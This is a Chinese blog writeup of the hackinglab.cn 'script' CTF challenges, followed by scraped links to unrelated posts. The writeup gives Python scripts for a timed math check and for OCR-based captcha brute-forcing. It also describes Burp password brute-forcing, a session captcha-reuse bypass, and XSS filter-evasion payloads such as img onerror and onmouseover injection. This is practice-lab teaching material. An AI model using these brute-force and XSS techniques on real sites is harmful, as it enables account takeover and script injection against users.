地址:http://hackinglab.cn

脚本关

  1. key又又找不到了

    点击提供的链接后,实际发生了两次跳转,key 在第一次跳转的网页中,key is : yougotit_script_now

  2. 快速口算

    要求2秒内提交结果,肯定不能手动算了,写程序获取算式并计算出结果提交

    #!/usr/bin/env python3
# Author: renzongxian import requests
import re
url = 'http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
header = {'Cookie': 'PHPSESSID=$Your Cookie'} # 获取算式
resp_content = requests.get(url, headers = header).content.decode('utf-8')
matches = re.search("(.*)=<input", resp_content)
# 发送结果
data = {'v': str(eval(matches.group(1)))}
resp_content = requests.post(url, headers=header, data=data).content.decode('utf-8')
# 取得响应内容
matches = re.search("<body>(.*)</body>", resp_content)
print(matches.group(1))

运行得到答案key is 123iohHKHJ%^&*(jkh

  1. 这个题目是空的

    什么才是空的呢?答案是null

  2. 怎么就是不弹出key呢?

    点击之后没有弹窗,查看网页源代码发现点击链接会触发 JS 代码中的函数 a(),但是 JS 代码中有三个 return false; 的函数导致函数 a() 失效,那么我们可以把代码完整复制到本地的html文件,然后把 <script> 标签那3个干扰的函数删除,最后在浏览器里打开就可以弹窗了



    提交前14个字符slakfjteslkjsd

  3. 逗比验证码第一期

    密码可以暴力破解(范围1000~9999),验证码一直用一个就行,用 Burp Suite 一会就破解出来了



    密码正确时响应为key is LJLJL789sdf#@sd

  4. 逗比验证码第二期

    验证码不能一直用一个了,试了试正确输入一次验证码后再用 Burp 跑的时候保持vcode为空就行(具体原因见逗比的验证码第三期)。密码正确时响应为key is LJLJL789ss33fasvxcvsdf#@sd

  5. 逗比的验证码第三期(SESSION)

    首先补充一些验证码的知识

验证码发布的流程

1. 显示表单

2. 显示验证码(调用生成验证码的程序),将验证码加密后放进 session 或者 cookie

3. 用户提交表单

4. 核对验证码无误、数据合法后写入数据库完成

用户如果再发布一条,正常情况下,会再次访问表单页面,验证码图片被动更新, session 和 cookie 也就跟着变了

但是灌水机操作不一定非要使用表单页面,它可以直接模拟 post 向服务端程序发送数据,这样验证码程序没有被调用,当然 session 和 cookie 存储的加密验证码就是上次的值,也就没有更新,这样以后无限次的通过post直接发送的数据,而不考虑验证码,验证码形同虚设!

所以,在核对验证码后先将 session 和 cookie 的值清空,然后做数据合法性判断,然后入库!这样,一个漏洞就被补上了!

仍然可以用第二期的方法,密码正确时响应为key is LJLJLfuckvcodesdf#@sd

  1. 微笑一下就能过关了

    这个题重点在于看懂源代码中的 PHP 代码,可是我对 PHP 不熟,基本能看懂逻辑但是不知道怎么构造参数,解体思路可参考http://www.waitalone.cn/security-scripts-game.html,最终构造出http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/?^.^=data://text/plain;charset=unicode,(●'◡'●),然后访问就能得到hkjasfhsa*&IUHKUH

  2. 逗比的手机验证码

    点击获取验证码提交后提示“please login as 13388886667”,返回重新获取验证码,然后把手机号也改成要求的,提交后就可得到key is LJLJLGod!@@sd

  3. 基情燃烧的岁月

    点击获取手机验证码,提示是3位纯数字且开头不为0,放到 Burp 里面暴力破解,得到“你伤心的发现他/她正在跟你的前男/女友勾搭.....于是下决心看看前任除了跟你的(男/女)闺蜜勾搭,是不是还跟别的勾搭..前任的手机号码是:13399999999”。修改手机号后同样的方式暴力破解,得到key is LKK8*(!@@sd

  4. 验证码识别

    考查验证码识别,需要用到 Python3 的两个强大的库:Pillow(依赖libjpeg和zlib) 和 pytesseract(依赖tesseract-ocr),同时注意到网页源码注释中写着“验证码改为了3个数字,从100到999”

    #!/usr/bin/env python3
# Author: renzongxian import pytesseract
from PIL import Image
import requests
import os
cur_path = os.getcwd()
vcode_path = os.path.join(cur_path, 'vcode.png')
header = {'Cookie': 'PHPSESSID=$Your Value'} def vcode():
# 验证码识别函数
pic_url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php'
r = requests.get(pic_url, headers=header, timeout=10)
with open(vcode_path, 'wb') as pic:
pic.write(r.content)
im = pytesseract.image_to_string(Image.open(vcode_path))
im = im.replace(' ', '')
if im != '':
return im
else:
return vcode() url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php'
for i in range(100, 1000):
code = vcode()
data = {'username': '13388886666', 'mobi_code': str(i), 'user_code': code}
r = requests.post(url, data=data, headers=header, timeout=10)
response = r.content.decode('utf-8')
if 'user_code or mobi_code error' in response:
print('trying ' + str(i))
else:
print('the mobi_code is ' + str(i))
print(response)
break

运行得到key is 133dbc85dda4aa**)

  1. XSS基础关

    按 F12 就能看到关键 JS 代码,分析代码逻辑可知只要用成功执行alert(HackingLab)就可以了,很简单,在输入框里输入<script>alert(HackingLab)</script>提交就可以了,得到key is: myxssteststart!

  2. XSS基础2:简单绕过

    上一题的 payload 不能用了,会提示检测到 XSS,换一种方式,输入<img src=# onerror=alert(HackingLab) />,成功弹窗,并得到key is: xss2test2you

  3. XSS基础3:检测与构造

    上一题的 payload 又不能用了,只能慢慢试一下到底是哪些字符串被判定为 XSS,然后想办法绕过。第一个输入框中输入的内容提交后会写入第二个文本框内,但是写入前做了处理,我试着闭合单引号并加入事件,但是一直不成功,后来在网上搜了搜才知道,这个题当 value 为敏感字符串时,出现的敏感字符串反而不会被过滤,这样就可以构造alert' onmouseover=alert(HackingLab)>并提交,将鼠标移动到第二个输入框上方就能触发弹窗,得到key is: xss3test2youOK_striptag

  4. Principle很重要的XSS

    过滤了很多字符,还没有找到突破点,注释里说“该题不困难”,但确实没有思路……

hackinglab 脚本关 writeup的更多相关文章

  1. HackingLab脚本关

    目录 1:key又又找不到了 2:快速口算 3:这个题目是空的 5:逗比验证码第一期 6:逗比验证码第二期 7:逗比的验证码第三期(SESSION) 8:微笑一下就能过关了 9:逗比的手机验证码 10 ...

  2. hackinglab 基础关 writeup

    地址:http://hackinglab.cn/ 基础关 key在哪里? 很简单,点击过关地址,在新打开的网页中查看网页源代码就能在 HTML 注释中发现 key 再加密一次你就得到key啦~ 明文加 ...

  3. 网络安全实验室 脚本关通关writeup

    [1]key又又找不到了查看源代码.发现key的路径,点击进行了302跳转,抓包,得到key [2]快速口算要2秒内提交答案,果断上python import requests,re s = requ ...

  4. 31C3 CTF web关writeup

    0x00 背景 31c3 CTF 还是很人性化的,比赛结束了之后还可以玩.看题解做出了当时不会做的题目,写了一个writeup. 英文的题解可以看这:https://github.com/ctfs/w ...

  5. 网络安全实验室_注入关writeup

    最简单的SQL注入 查看页面源码发现提示要登录admin账户 果断试试万能密码admin' or 1=1# 直接能看到flag了 最简单的SQL注入(熟悉注入环境) 首先查看源码,提示id=1,看样子 ...

  6. HackingLab基础关

    目录 1:Key在哪里? 2:再加密一次你就得到key啦~ 3:猜猜这是经过了多少次加密? 4:据说MD5加密很安全,真的是么? 5:种族歧视 6:HAHA浏览器 7:key究竟在哪里呢? 8:key ...

  7. 网络安全实验室_上传关writeup

    请上传一张jpg格式的图片 先传个图片码试试 我肯定乖嘛(#`Д´)ノ 气到改后缀 请上传一张jpg格式的图片 我猜是00截断,不信来试试 先在赋值1.php .jpg,接着去hex中找到空格改成00 ...

  8. HackIM web关writeup

    Web100 访问页面将看到下面的错误 在burp里使用request / response查看有没有什么不正常的地方.如下图所示,在返回的数据包里被设置了两次不同的PHPSESSID. 如果我把PH ...

  9. pyhton验证码识别

    1.PIL 下载地址: PIL-1.1.7.win-amd64-py2.7.exe 2.tesseract-ocr下载地址: tesseract-ocr-setup-3.02.02.exe 3.pyt ...

随机推荐

  1. 合肥学院ACM集训队第一届暑假友谊赛 B FYZ的求婚之旅 D 计算机科学家 F 智慧码 题解

    比赛网址:https://ac.nowcoder.com/acm/contest/994#question B FYZ的求婚之旅 思路: 然后用快速幂即可. 细节见代码: #include <i ...

  2. seleniummaster

    http://seleniummaster.com/sitecontent/index.php/component/banners/click/6 Step 1: create a Java proj ...

  3. python数组中在某一元素前插入数据

    # 已知有一个已经排好序的数组.要求是,有一个新数据项,要求按原来的规律将它插入数组中. a=[1,2,3,4,5,6,7,8,9]num=int(input("input num:&quo ...

  4. 主席树(静态区间第k大)

    前言 如果要求一些数中的第k大值,怎么做? 可以先就这些数离散化,用线段树记录每个数字出现了多少次. ... 那么考虑用类似的方法来求静态区间第k大. 原理 假设现在要有一些数 我们可以对于每个数都建 ...

  5. Gparted for partition of Linux on graphic interface

    You can change the partition table on Linux by a group of tools, which is tool comprehansive for a n ...

  6. Warning: Failed prop type: Invalid prop `value` supplied to `Picker`.报错问题

    在使用antd的日期插件时,不留意就会报各种错误. 例如:Warning: Failed prop type: Invalid prop `value` supplied to `Picker`. 这 ...

  7. jQuery 遍历 - 同胞(siblings)

    同胞拥有相同的父元素. 通过 jQuery,您能够在 DOM 树中遍历元素的同胞元素. 在 DOM 树中水平遍历 有许多有用的方法让我们在 DOM 树进行水平遍历: siblings() next() ...

  8. 如何在Web页面里使用高拍仪扫描上传图像

    如何在Web页面里使用高拍仪扫描上传图像 市场上所有的高拍仪都支持扫描图片并保存到本地,一般公司都会提供控件.开发人员只需要在页面集成就可以进行拍照和扫描.只不过一般扫描的图片是保存在本地固定的文件夹 ...

  9. volley简介

    究竟什么是volley呢?  在以前的开发过程中,开发app的时候,使用的东西可能包括: 1.Httpclient,HttpURLConnection 2.AsyncTask,AsyncTaskLoa ...

  10. SpringBoot学习-第一章

    1.SpringBoot入门 开发环境:JDK1.8 开发工具:IDEA2017.3.1 1.简介: Spring Boot让我们的Spring应用变的更轻量化.比如:你可以仅仅依靠一个Java类来运 ...